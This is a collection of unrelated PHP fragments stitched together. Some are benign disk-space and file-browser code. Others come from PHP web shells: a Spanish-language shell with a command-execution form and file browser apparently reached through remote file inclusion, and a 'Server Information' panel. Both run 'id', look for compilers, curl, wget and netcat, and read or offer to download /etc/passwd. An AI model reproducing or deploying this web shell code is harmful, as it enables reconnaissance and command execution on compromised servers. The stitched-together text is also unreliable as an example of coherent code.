function mostrarinformacion() { $ruta = getcwd() or '/'; if (!ini_get('safe_mode') or strtolower(ini_get('safe_mode')) == 'off') { $safemode = 'No'; } else { $safemode = 'Si'; } $salida = '<b>' . htmlentities(__FILE__, ENT_QUOTES, 'UTF-8') . '</b><br><br> <b>' . htmlentities(decodeSize(disk_free_space($ruta)), ENT_QUOTES, 'UTF-8') . '</b> / <b>' . htmlentities(decodeSize(disk_total_space($ruta)), ENT_QUOTES, 'UTF-8') . '</b><br><br> <b>PHP:</b> ' . htmlentities(phpversion(), ENT_QUOTES, 'UTF-8') . '<br><br> <b>Zend:</b> ' . htmlentities(zend_version(), ENT_QUOTES, 'UTF-8') . '<br><br> <b>Safe_mode:</b> ' . $safemode . '<br><br> <b>Funciones desactivadas:</b> ' . htmlentities(ini_get('disable_functions'), ENT_QUOTES, 'UTF-8') . '<br><br> <b>Open basedir:</b> ' . htmlentities(ini_get('open_basedir'), ENT_QUOTES, 'UTF-8') . '<br><br> <b>' . htmlentities(php_uname(), ENT_QUOTES, 'UTF-8') . '</b><br><br>'; if ($id = shell('id', false)) { $salida .= '<b>' . htmlentities($id, ENT_QUOTES, 'UTF-8') . '</b><br><br> ' . htmlentities(shell('whereis gcc', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis perl', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis python', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis curl', false), ENT_QUOTES, 'UTF-8') . '<br><br> ' . htmlentities(shell('whereis wget', false), ENT_QUOTES, 'UTF-8') . '<br><br> <br> '; } if ($usuarios = leerarchivo('/etc/passwd')) { $salida .= '<b>/etc/passwd:</b><br> <textarea style="width:100%;" rows="10">' . $usuarios . '</textarea><br><br>'; } return $salida; }
if (is_dir($root . $folder . '/' . $item)) { $dir = new DirectoryItem(); $dir->directory = $item; if (streq('..', $item)) { $dir->path = dirname($folder); if (streq($dir->path, "\\")) { $dir->path = ""; } } else { $dir->path = $folder . '/' . $item; } if (!($inroot && streq('..', $item))) { $dirlist[] = $dir; } } else { $file = new FileItem(); $file->name = $item; $file->image = findimage($item); //Strip leading slash $path = $folder . '/' . $item; if (strlen($path) > 0) { $path = substr($path, 1, strlen($path) - 1); } $file->path = $path; $file->size = decodeSize(getFileSize($root . $folder . '/' . $item)); $filelist[] = $file; } } } $master->Smarty->assign('filelist', $filelist); $master->Smarty->assign('folderlist', $dirlist);
<?php $root = Config::$dir . '/files/'; $folder = ''; if (isset($_GET["folder"])) { $folder = str_replace('..', '', base64_decode(GETSafe('folder'))); } include 'index.logic.php'; $header = ''; $headerhtml = ''; $inroot = strlen($folder) == 0 || streq('..', $folder) || streq('\\', $folder) || streq('/', $folder); include 'browse.php'; if ($inroot) { $headerhtml = $master->GetTemplate('fileshare.header.htm'); } $master->Smarty->assign("fs_folder_raw", $folder); $master->Smarty->assign("fs_folder", GETSafe('folder')); $master->Smarty->assign("fs_header_html", $headerhtml); $master->Smarty->assign("fs_header", $header); $space = disk_free_space($root); $master->Smarty->assign("fs_freespace", decodeSize($space));
function freeStorage() { function decodeSize($bytes) { $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'); $base = 1024; $class = min((int) log($bytes, $base), count($si_prefix) - 1); return sprintf('%1.2f', $bytes / pow($base, $class)); } $bytes = disk_free_space("."); $free = decodeSize($bytes); $bytes = disk_total_space("."); $total = decodeSize($bytes); $used = $total - $free; $percentage = round($used / $total * 100); if ($percentage > '80') { $warning = "<img src=\"app/images/warning.png\" height=\"18\" />"; $bar = "barAmber"; } else { $warning = "<img src=\"app/images/ok.png\" height=\"18\" />"; $bar = "barGreen"; } ?> <div class="sdIcon"> <img src="app/images/sd.png" align="middle"> </div> <div class="sdTitle"> SD Card </div> <div class="sdWarning"> <?php echo $warning; ?> </div> <div class="sdText"> <div class="graph"> <strong class="<?php echo $bar; ?> " style="width:<?php echo $percentage; ?> %;"><?php echo $percentage; ?> %</strong> </div> <div class="clear"></div> <br/> Total: <strong><?php echo $total; ?> </strong> GB · Free: <strong><?php echo $free; ?> </strong> GB </div> <div class="clear"></div> <?php }
<div style="text-align:right;"><input type="checkbox" name="textarea" checked>Mostrar en textarea <input type="submit" style="width:17%;" value="Ejecutar"></div> </form>'; break; /* Navegador de archivos */ /* Navegador de archivos */ case "archivos": /* Mostramos el titulo */ echo '<div style="text-align:center;"> <a href="' . $rfiurl . '" class="sinsubrayado"><h1>' . $nombre . '</h1></a><br><br> </div>'; $ruta = $_REQUEST["ruta"]; if (!$ruta) { $ruta = getcwd(); } //el espacio libre y total en el hd $espacio = '<div class="center" style="font-weight:bold;">' . decodeSize(disk_free_space($ruta)) . ' / ' . decodeSize(disk_total_space($ruta)) . '</div>'; //mostramos el formulario para cambiar de directorio echo ' <form action="' . $rfiurl . 'w=archivos" method="POST"> <input style="width:85%;float:left;" type="text" name="ruta" value="' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . '"> <input type="submit" value="Ir" style="width:10%;float:right;"> </form><br><br>' . $espacio . '<br> <table>'; if (!chdir($ruta)) { echo '<div class="n" style="font-size:150%;">Ruta inválida</div>'; } else { $ruta = getcwd(); //leemos los directorios $handledirectorios = opendir($ruta); rewinddir($handledirectorios); while (false !== ($archivos[] = readdir($handledirectorios))) {
echo "<font color='white'><h2>Server Information</h2></font>"; echo "<center><table id ='os' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>OS: </font></label><font color='white'>" . PHP_OS . "</font><br/></table></center>"; echo "<center><table id ='uname' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>uname -a: </font></label><font color='white'>" . php_uname() . "</font><br/></table></center>"; echo "<center><table id ='ip' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>Server IP: </font></label><font color='white'>" . $_SERVER['SERVER_ADDR'] . "</font><br/></table></center>"; echo "<center><table id ='safemode' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>Safe-mode: </font></label><font color='white'>" . $safe_mode . "</font><br/></table></center>"; echo "<center><table id ='phpversion' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>PHP Version: </font></label><font color='white'>" . phpversion(); echo <<<HTML <script language="JavaScript"> function phpinfow (ahref) { var op="scrollbars=yes, width=708, height=365, top=85, left=140"; window.open(ahref,"",op); } </script> <a href="javascript:phpinfow('?phpinfo')">[phpinfo]</a></font><br/></table></center> HTML; echo "<center><table id ='diskspace' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>Space of {$disk} : </font></label><font color='white'>" . decodeSize($disk_total_space) . "/" . decodeSize($disk_free_space) . "</font><br/></table></center>"; echo "<center><table id ='curl' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>cURL: </font></label><font color='white'>" . $curl . "</font><br/></table></center>"; echo "<center><table id ='gcc' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>GCC: </font></label><font color='white'>" . $gcc . "</font><br/></table></center>"; echo "<center><table id ='nc' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>Netcat: </font></label><font color='white'>" . $netcat . "</font><br/></table></center>"; echo "<center><table id ='username' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>Username: </font></label><font color='white'>" . get_current_user() . "</font><br/></table></center>"; if (is_readable("/etc/passwd")) { echo "<center><table id ='etcpasswd' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>/etc/passwd : </font></label><font color='white'><a href='?d=/etc/passwd'>[download]</a></font></table></center>"; } @ob_start(); @passthru(@system("id")); $id = @ob_get_contents(); @ob_end_clean(); if (@ini_get("safe_mode") == 1) { $id = "Unreachable"; } echo "<center><table id ='id' width='800px' style='background-color: black; font-size: 11px; border:1px green dashed; border-radius: 4px;'><tr><td><label><font color='red'>id : </font></label><font color='white'>" . $id . "</font></table></center>";
<select name="Target"> <option value="0">pick</option> <?php // TODO: add smart sort. Best-fit first (that really is eye-candy...) // TODO: stupid, it requires filesize, and we don't have that... // biggest first it is then, excluding disks with less than 4.5 GB free // add a background color to the option based on the remaining space: orange for less than 4.5, white for more // stupid again. // TODO... We actually do, it's the source... but it requires AJAX, or some server side correction $dir = opendir( '/media/storage/' ); foreach( new DirectoryIterator( '/media/storage/' ) as $disk ) { // var_dump( $disk ); if ( $disk->isDot() ) continue; $freespace = decodeSize( disk_free_space( $disk->getPathname() ) ); $diskName = $disk->getFilename(); $selectedText = ( $diskName == $_POST['Target'] ) ? ' selected="selected"' : ''; echo "<option value=\"{$diskName}\"{$selectedText}>{$diskName} ({$freespace} libres)</option>\n"; } ?> </select> <p><input type="checkbox" name="QueueCommand" value="1" id="chkQueueCommand" /><label for="chkQueueCommand">Add to queue</label></p> </p> <p><input type="submit" name="ConvertWinCmd" /></p> </form> <?php if ( $_POST['Target'] == "0" ) { die( '<p style="color: red">Target is mandatory</p>' ); }